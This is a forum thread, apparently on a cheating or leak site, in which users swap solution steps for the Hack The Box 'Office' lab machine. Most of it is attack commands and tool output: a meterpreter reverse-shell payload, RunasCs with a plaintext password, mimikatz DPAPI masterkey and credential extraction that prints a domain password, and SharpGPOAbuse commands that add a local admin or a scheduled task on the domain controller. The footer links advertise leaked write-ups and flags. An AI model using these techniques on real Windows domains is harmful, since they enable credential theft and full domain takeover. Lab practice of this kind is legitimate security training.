|
Office - HTB
by paven - Saturday February 17, 2024 at 03:07 PM
|
|
02-20-2024, 12:21 PM
I got reverse shell tstark and trying to deal with resume.php, I put forward it and send some malicious.odt into but I don't get how I can trigger them.
Also those .odt files are deleted very quickly, I'm going is the wrong direction? (02-20-2024, 12:21 PM)fmkss Wrote: I got reverse shell tstark and trying to deal with resume.php, I put forward it and send some malicious.odt into but I don't get how I can trigger them. You just have to add it in c:\xampp\htdocs\internal\applications
02-20-2024, 05:31 PM
I Got user flag saturday night but that GPOabuse was insane in my opinion! anyway rooted but keep in mind versions are fundamentals ..not every sharphound you find on the web is the latest with `(Type: ImmediateTaskV2)`
(02-17-2024, 04:09 PM)Tebon Wrote: I'm too lazy to do it . Today Im to lazy to do it too  (02-19-2024, 03:23 PM)ConnorDev Wrote: https://www.hackthebox.com/achievement/m.../42244/588 Good Job Connor , hard work paid off! 'm having a terrible time with this box. Tried following all of the suggestions above and most things just give me errors. Even logging into administrator on the joomla login doesn't work. Is it just me?? /in:C:\Users\PPotts\AppData\Roaming\Microsoft\credentials\XXXXX
Ban reason: Leeching. (Permanent)
02-20-2024, 11:04 PM
*Evil-WinRM* PS C:\Users\HHogan\Documents> Get-GPO -All | Select-Object -ExpandProperty DisplayName
*Evil-WinRM* PS C:\Users\HHogan\Documents> .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount HHogan --GPOName "Default Domain Controllers Policy" *Evil-WinRM* PS C:\Users\HHogan\Documents> gpupdate /force Does not work apparently, but after logout and re login it works
02-21-2024, 02:26 AM
(02-19-2024, 05:54 AM)RoyTong1988 Wrote: I have entered the local MYSQL DB....any hins for root? how did you get the db?
02-21-2024, 09:55 AM
(02-19-2024, 03:00 PM)St4rry Wrote: ``` [*] In a windows environment you run commands as is without the " .\ " . Your command that will work is : RunasCs.exe tstark playboy69 payload.exe If that doesnt work as well you might need to check your payload , I generated one using msfvenom for /windows/x64/meterpreter/reverse_tcp and it worked for me.
Regarding the vault credentials:
C:\Users\PPotts\AppData\Roaming\Microsoft\protect\S-1-5-21-1199398058-4196589450-691661856-1107 (4 items, 2.3 KiB)
==================================================================================================================
-rw-rw-rw- 10811601-0fa9-43c2-97e5-9bef8471fc7d 740 B Wed Jan 17 15:43:56 -0800 2024
-rw-rw-rw- 191d3f9d-7959-4b4d-a520-a444853c47eb 740 B Tue May 02 15:13:34 -0800 2023
-rw-rw-rw- BK-OFFICE 900 B Tue May 02 15:13:34 -0800 2023
-rw-rw-rw- Preferred 24 B Wed Jan 17 15:43:56 -0800 2024Get the master key
mimikatz # dpapi::masterkey /in:C:\Users\PPotts\AppData\Roaming\Microsoft\protect\S-1-5-21-1199398058-4196589450-691661856-1107\191d3f9d-7959-4b4d-a520-a444853c47eb /rpc
**MASTERKEYS**
dwVersion : 00000002 - 2
szGuid : {191d3f9d-7959-4b4d-a520-a444853c47eb}
dwFlags : 00000000 - 0
dwMasterKeyLen : 00000088 - 136
dwBackupKeyLen : 00000068 - 104
dwCredHistLen : 00000000 - 0
dwDomainKeyLen : 00000174 - 372
[masterkey]
**MASTERKEY**
dwVersion : 00000002 - 2
salt : c521daa0857ee4fa6e4246266081e94c
rounds : 00004650 - 18000
algHash : 00008009 - 32777 (CALG_HMAC)
algCrypt : 00006603 - 26115 (CALG_3DES)
pbKey : 1107e1ab3e107528a73a2dafc0a2db28de1ea0a07e92cff03a935635013435d75e41797f612903d6eea41a8fc4f7ebe8d2fbecb0c74cdebb1e7df3c692682a066faa3edf107792d116584625cc97f0094384a5be811e9d5ce84e5f032704330609171c973008d84f
[backupkey]
**MASTERKEY**
dwVersion : 00000002 - 2
salt : a2741b13d7261697be4241ebbe05098a
rounds : 00004650 - 18000
algHash : 00008009 - 32777 (CALG_HMAC)
algCrypt : 00006603 - 26115 (CALG_3DES)
pbKey : 21bf24763fbb1400010c08fccc5423fe7da8190c61d3006f2d5efd5ea586f463116805692bae637b2ab548828b3afb9313edc715edd11dc21143f4ce91f4f67afe987005320d3209
[domainkey]
**DOMAINKEY**
dwVersion : 00000002 - 2
dwSecretLen : 00000100 - 256
dwAccesscheckLen : 00000058 - 88
guidMasterKey : {e523832a-e126-4d6e-ac04-ed10da72b32f}
pbSecret : 159613bdc2d90dd4834a37e29873ce04c74722a706d0ba4770865039b3520ff46cf9c9281542665df2e72db48f67e16e2014e07b88f8b2f7d376a8b9d47041768d650c20661aee31dc3
40aead98b7600662d2dc320b4f89cf7384c2a47809c024adf0694048c38d6e1e3e10e8bd7baa7a6f1214cd3a029f8372225b2df9754c19e2ae4bc5ff4b85755b4c2dfc89add9f73c54ac45a221e5a72d3efe491aa6
da8fb0104a983be20af3280ae68783e8648df413d082fa7d25506e9e6de1aadbf9cf93ec8dfc5fab4bfe1dd1492dbb679b1fa25c3f15fb8500c6021f518c74e42cd4b5d5d6e1057f912db5479ebda56892f346b4e9
bf6404906c7cd65a54eea2842
pbAccesscheck : 1430b9a3c4ab2e9d5f61dd6c62aab8e1742338623f08461fe991cccd5b3e4621d4c8e322650460181967c409c20efcf02e8936c007f7a506566d66ba57448aa8c3524f0b9cf881afcbb
80c9d8c341026f3d45382f63f8665
Auto SID from path seems to be: S-1-5-21-1199398058-4196589450-691661856-1107
[backupkey] without DPAPI_SYSTEM:
key : 4d1b2c18baba7442e79d33cc771bf54027ae2500e08da3ecfccf91303bd471b6
sha1: eeb787c4259e3c8b8408201ee5e54fc29fad22b2
[domainkey] with RPC
[DC] 'office.htb' will be the domain
[DC] 'DC.office.htb' will be the DC server
key : 87eedae4c65e0db47fcbc3e7e337c4cce621157863702adc224caf2eedcfbdbaadde99ec95413e18b0965dcac70344ed9848cd04f3b9491c336c4bde4d1d8166
sha1: 85285eb368befb1670633b05ce58ca4d75c73c77now use it to get HHogan creds mimikatz # dpapi::cache
CREDENTIALS cache
=================
MASTERKEYS cache
================
GUID:{191d3f9d-7959-4b4d-a520-a444853c47eb};KeyHash:85285eb368befb1670633b05ce58ca4d75c73c77;Key:available
C:\Users\PPotts\AppData\Roaming\Microsoft\Credentials (3 items, 1.1 KiB)
========================================================================
-rw-rw-rw- 18A1927A997A794B65E9849883AC3F3E 358 B Tue May 09 13:08:54 -0800 2023
-rw-rw-rw- 84F1CAEEBF466550F4967858F9353FB4 398 B Tue May 09 15:03:21 -0800 2023
-rw-rw-rw- E76CCA3670CD9BB98DF79E0A8D176F1E 374 B Thu Jan 18 11:53:30 -0800 2024dpapi::cred /in:C:\Users\PPotts\AppData\Roaming\Microsoft\Credentials\84F1CAEEBF466550F4967858F9353FB4 /masterkey:87eedae4c65e0db47fcbc3e7e337c4cce621157863702adc224caf2eedcfbdbaadde99ec95413e18b0965dcac70344ed9848cd04f3b9491c336c4bde4d1d8166
**BLOB**
dwVersion : 00000001 - 1
guidProvider : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
dwMasterKeyVersion : 00000001 - 1
guidMasterKey : {191d3f9d-7959-4b4d-a520-a444853c47eb}
dwFlags : 20000000 - 536870912 (system ; )
dwDescriptionLen : 0000003a - 58
szDescription : Enterprise Credential Data
algCrypt : 00006603 - 26115 (CALG_3DES)
dwAlgCryptLen : 000000c0 - 192
dwSaltLen : 00000010 - 16
pbSalt : 649c4466d5d647dd2c595f4e43fb7e1d
dwHmacKeyLen : 00000000 - 0
pbHmackKey :
algHash : 00008004 - 32772 (CALG_SHA1)
dwAlgHashLen : 000000a0 - 160
dwHmac2KeyLen : 00000010 - 16
pbHmack2Key : 32e88dfd1927fdef0ede5abf2c024e3a
dwDataLen : 000000c0 - 192
pbData : f73b168ecbad599e5ca202cf9ff719ace31cc92423a28aff5838d7063de5cccd4ca86bfb2950391284b26a34b0eff2dbc9799bdd726df9fad9cb284bacd7f1ccbba0fe140ac16264896a810e80cac3b68f82c80347c4deaf682c2f4d3be1de025f0a68988fa9d633de943f7b809f35a141149ac748bb415990fb6ea95ef49bd561eb39358d1092aef3bbcc7d5f5f20bab8d3e395350c711d39dbe7c29d49a5328975aa6fd5267b39cf22ed1f9b933e2b8145d66a5a370dcf76de2acdf549fc97
dwSignLen : 00000014 - 20
pbSign : 21bfb22ca38e0a802e38065458cecef00b450976
Decrypting Credential:
* volatile cache: GUID:{191d3f9d-7959-4b4d-a520-a444853c47eb};KeyHash:85285eb368befb1670633b05ce58ca4d75c73c77;Key:available
* masterkey : 87eedae4c65e0db47fcbc3e7e337c4cce621157863702adc224caf2eedcfbdbaadde99ec95413e18b0965dcac70344ed9848cd04f3b9491c336c4bde4d1d8166
**CREDENTIAL**
credFlags : 00000030 - 48
credSize : 000000be - 190
credUnk0 : 00000000 - 0
Type : 00000002 - 2 - domain_password
Flags : 00000000 - 0
LastWritten : 5/9/2023 11:03:21 PM
unkFlagsOrSize : 00000018 - 24
Persist : 00000003 - 3 - enterprise
AttributeCount : 00000000 - 0
unk0 : 00000000 - 0
unk1 : 00000000 - 0
TargetName : Domain:interactive=OFFICE\HHogan
UnkData : (null)
Comment : (null)
TargetAlias : (null)
UserName : OFFICE\HHogan
CredentialBlob : H4ppyFtW183#
Attributes : 0now you have HHogan creds, you winrm As HHogan you are member of "GPO Managers" PS C:\programdata> net user hhogan /domain
net user hhogan /domain
User name HHogan
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 5/6/2023 10:59:34 AM
Password expires Never
Password changeable 5/7/2023 10:59:34 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 5/10/2023 4:30:58 AM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *Domain Users *GPO Managers
The command completed successfully.List GPOs SharpView.exe Get-NetGPO
[*]Output:
[Get-DomainSearcher] search base: LDAP://DC=office,DC=htb
[Get-DomainGPO] filter string: (&(objectCategory=groupPolicyContainer))
objectguid : 61e3527f-81bf-456a-b79c-f9a86e8127d0
name : {31B2F340-016D-11D2-945F-00C04FB984F9}
distinguishedname : CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=office,DC=htb
whencreated : 4/14/2023 10:13:57 PM
whenchanged : 5/10/2023 5:30:07 PM
cn : {{31B2F340-016D-11D2-945F-00C04FB984F9}}
objectclass : {top, container, groupPolicyContainer}
displayname : Default Domain Policy
gpcfunctionalityversion : 2
usnchanged : 57836
showinadvancedviewonly : True
gpcmachineextensionnames : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}][{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}][{B1BE8D72-6EAC-11D2-A4EA-00C04F79F83A}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}]
instancetype : 4
versionnumber : 18
gpcfilesyspath : \\office.htb\sysvol\office.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
usncreated : 5672
flags : 0
objectcategory : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=office,DC=htb
iscriticalsystemobject : True
systemflags : -1946157056
dscorepropagationdata : {5/10/2023 5:30:07 PM, 4/14/2023 10:14:59 PM, 1/1/1601 12:00:00 AM}
objectguid : 021296bc-8f0e-4902-89e8-6e566d72c108
name : {6AC1786C-016F-11D2-945F-00C04fB984F9}
distinguishedname : CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=office,DC=htb
whencreated : 4/14/2023 10:13:57 PM
whenchanged : 1/25/2024 10:40:03 PM
cn : {{6AC1786C-016F-11D2-945F-00C04fB984F9}}
objectclass : {top, container, groupPolicyContainer}
displayname : Default Domain Controllers Policy
gpcfunctionalityversion : 2
usnchanged : 213141
showinadvancedviewonly : True
gpcmachineextensionnames : [{00000000-0000-0000-0000-000000000000}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}][{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}][{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}]
instancetype : 4
versionnumber : 12
gpcfilesyspath : \\office.htb\sysvol\office.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}
usncreated : 5675
flags : 0
objectcategory : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=office,DC=htb
iscriticalsystemobject : True
systemflags : -1946157056
dscorepropagationdata : {5/10/2023 5:29:54 PM, 4/14/2023 10:14:59 PM, 1/1/1601 12:00:00 AM}
objectguid : a1a967eb-4e31-4715-83e3-8057ecda67c5
name : {37238285-35D0-4D0C-A702-B489C38ED505}
distinguishedname : CN={37238285-35D0-4D0C-A702-B489C38ED505},CN=Policies,CN=System,DC=office,DC=htb
whencreated : 5/10/2023 4:45:44 PM
whenchanged : 5/10/2023 4:45:44 PM
cn : {{37238285-35D0-4D0C-A702-B489C38ED505}}
objectclass : {top, container, groupPolicyContainer}
displayname : Default Active Directory Settings GPO
gpcfunctionalityversion : 2
usnchanged : 57652
showinadvancedviewonly : True
instancetype : 4
versionnumber : 0
usncreated : 57647
flags : 0
objectcategory : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=office,DC=htb
gpcfilesyspath : \\office.htb\SysVol\office.htb\Policies\{37238285-35D0-4D0C-A702-B489C38ED505}
dscorepropagationdata : 1/1/1601 12:00:00 AM
objectguid : 2c4991a1-2642-4f41-ae8d-7a9279092167
name : {EC1FEBA4-DB03-4721-81DB-B0BAA61FFA18}
distinguishedname : CN={EC1FEBA4-DB03-4721-81DB-B0BAA61FFA18},CN=Policies,CN=System,DC=office,DC=htb
whencreated : 5/10/2023 4:46:49 PM
whenchanged : 5/10/2023 4:46:49 PM
cn : {{EC1FEBA4-DB03-4721-81DB-B0BAA61FFA18}}
objectclass : {top, container, groupPolicyContainer}
displayname : Password Policy GPO
gpcfunctionalityversion : 2
usnchanged : 57664
showinadvancedviewonly : True
instancetype : 4
versionnumber : 0
usncreated : 57659
flags : 0
objectcategory : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=office,DC=htb
gpcfilesyspath : \\office.htb\SysVol\office.htb\Policies\{EC1FEBA4-DB03-4721-81DB-B0BAA61FFA18}
dscorepropagationdata : 1/1/1601 12:00:00 AM
objectguid : 0f921f51-a210-4651-82d0-459985403fa5
name : {9D183BB5-7581-4C19-9390-B1EBCCACCE99}
distinguishedname : CN={9D183BB5-7581-4C19-9390-B1EBCCACCE99},CN=Policies,CN=System,DC=office,DC=htb
whencreated : 5/10/2023 4:47:05 PM
whenchanged : 5/10/2023 4:47:05 PM
cn : {{9D183BB5-7581-4C19-9390-B1EBCCACCE99}}
objectclass : {top, container, groupPolicyContainer}
displayname : Software Installation GPO
gpcfunctionalityversion : 2
usnchanged : 57671
showinadvancedviewonly : True
instancetype : 4
versionnumber : 0
usncreated : 57666
flags : 0
objectcategory : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=office,DC=htb
gpcfilesyspath : \\office.htb\SysVol\office.htb\Policies\{9D183BB5-7581-4C19-9390-B1EBCCACCE99}
dscorepropagationdata : 1/1/1601 12:00:00 AM
objectguid : aed36f67-9fc9-49c3-a4d0-dee48571f237
name : {7B6165C4-C41D-47ED-9A37-E1A058F230C1}
distinguishedname : CN={7B6165C4-C41D-47ED-9A37-E1A058F230C1},CN=Policies,CN=System,DC=office,DC=htb
whencreated : 5/10/2023 4:47:13 PM
whenchanged : 5/10/2023 4:47:14 PM
cn : {{7B6165C4-C41D-47ED-9A37-E1A058F230C1}}
objectclass : {top, container, groupPolicyContainer}
displayname : Windows Update GPO
gpcfunctionalityversion : 2
usnchanged : 57678
showinadvancedviewonly : True
instancetype : 4
versionnumber : 0
usncreated : 57673
flags : 0
objectcategory : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=office,DC=htb
gpcfilesyspath : \\office.htb\SysVol\office.htb\Policies\{7B6165C4-C41D-47ED-9A37-E1A058F230C1}
dscorepropagationdata : 1/1/1601 12:00:00 AM
objectguid : 0eb9049d-1d91-4ee5-acd8-e98281331709
name : {04FE5C75-0078-4D44-97C5-8A796BE906EC}
distinguishedname : CN={04FE5C75-0078-4D44-97C5-8A796BE906EC},CN=Policies,CN=System,DC=office,DC=htb
whencreated : 5/10/2023 4:47:27 PM
whenchanged : 5/10/2023 4:47:27 PM
cn : {{04FE5C75-0078-4D44-97C5-8A796BE906EC}}
objectclass : {top, container, groupPolicyContainer}
displayname : Windows Firewall GPO
gpcfunctionalityversion : 2
usnchanged : 57685
showinadvancedviewonly : True
instancetype : 4
versionnumber : 0
usncreated : 57680
flags : 0
objectcategory : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=office,DC=htb
gpcfilesyspath : \\office.htb\SysVol\office.htb\Policies\{04FE5C75-0078-4D44-97C5-8A796BE906EC}
dscorepropagationdata : 1/1/1601 12:00:00 AM
objectguid : ea9cf4de-64f1-4fec-bb73-9026ca6f7099
name : {86E68A9A-F5E9-49B9-A1E3-9CCDAA9251B4}
distinguishedname : CN={86E68A9A-F5E9-49B9-A1E3-9CCDAA9251B4},CN=Policies,CN=System,DC=office,DC=htb
whencreated : 5/10/2023 4:58:24 PM
whenchanged : 5/10/2023 5:28:36 PM
cn : {{86E68A9A-F5E9-49B9-A1E3-9CCDAA9251B4}}
objectclass : {top, container, groupPolicyContainer}
displayname : Windows Update Domain Policy
gpcfunctionalityversion : 2
usnchanged : 57827
showinadvancedviewonly : True
gpcmachineextensionnames : [{00000000-0000-0000-0000-000000000000}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}][{AADCED64-746C-4633-A97C-D61349046527}{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}]
instancetype : 4
versionnumber : 3
usncreated : 57724
flags : 0
objectcategory : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=office,DC=htb
gpcfilesyspath : \\office.htb\SysVol\office.htb\Policies\{86E68A9A-F5E9-49B9-A1E3-9CCDAA9251B4}
dscorepropagationdata : {5/10/2023 5:28:36 PM, 5/10/2023 5:00:25 PM, 1/1/1601 12:00:00 AM}Abuse with ShapGPO SharpGPOAbuse.exe '--AddComputerTask --TaskName "New Task" --Author OFFICE\Administrator --Command "cmd.exe" --Arguments "/c C:\temp\binary.exe" --GPOName "Default Domain Controllers Policy"'Also works with: SharpGPOAbuse.exe --AddLocalAdmin --UserAccount HHogan --GPOName "Default Domain Controllers Policy"Dont forget to gpupdate \force
02-21-2024, 02:36 PM
(02-21-2024, 02:26 AM)formycode64 Wrote:(02-19-2024, 05:54 AM)RoyTong1988 Wrote: I have entered the local MYSQL DB....any hins for root? Port forward by using Chisel.exe, and access MYSQL DB locally with the creds got by CVE-2023-2255
02-21-2024, 02:38 PM
[quote="DwightSchrute" pid='434802' dateline='1708247240']
eu tenho o shell tstark e o sinalizador do usuário. a partir daí não tenho ideia de como seguir em frente. alguém poderia explicar como obter o hash de ppots do xampp e resume.php? Não consigo descobrir como obtê-lo a partir daí ... ajuda é apreciada  [/citar] Eu tenho uma conta shell office/web e não consigo tra Eu tenho uma conta shell office/web e não consigo transferi-la para outro usuário. Se você puder ajudar eu agradeceria nsferi-la para outro usuário. Se você puder ajudar, eu agradeço
Ban reason: Leeching. (Permanent)
|
|
« Next Oldest | Next Newest »
|
| Possibly Related Threads… | |||||
| Thread | Author | Replies | Views | Last Post | |
| [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired | 360 | 90,743 |
03-28-2026, 09:28 AM Last Post: |
||
| [FREE] HTB-ProLabs APTLABS Just Flags | 23 | 4,243 |
03-28-2026, 03:30 AM Last Post: |
||
| [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot | 87 | 9,400 |
03-27-2026, 07:22 PM Last Post: |
||
| HTB Eloquia User and Root Flags - Insane Box | 13 | 2,230 |
03-27-2026, 06:14 PM Last Post: |
||
| HTB - ALL Challenges you Stuck in | 2 | 2,529 |
03-27-2026, 04:24 PM Last Post: |
||
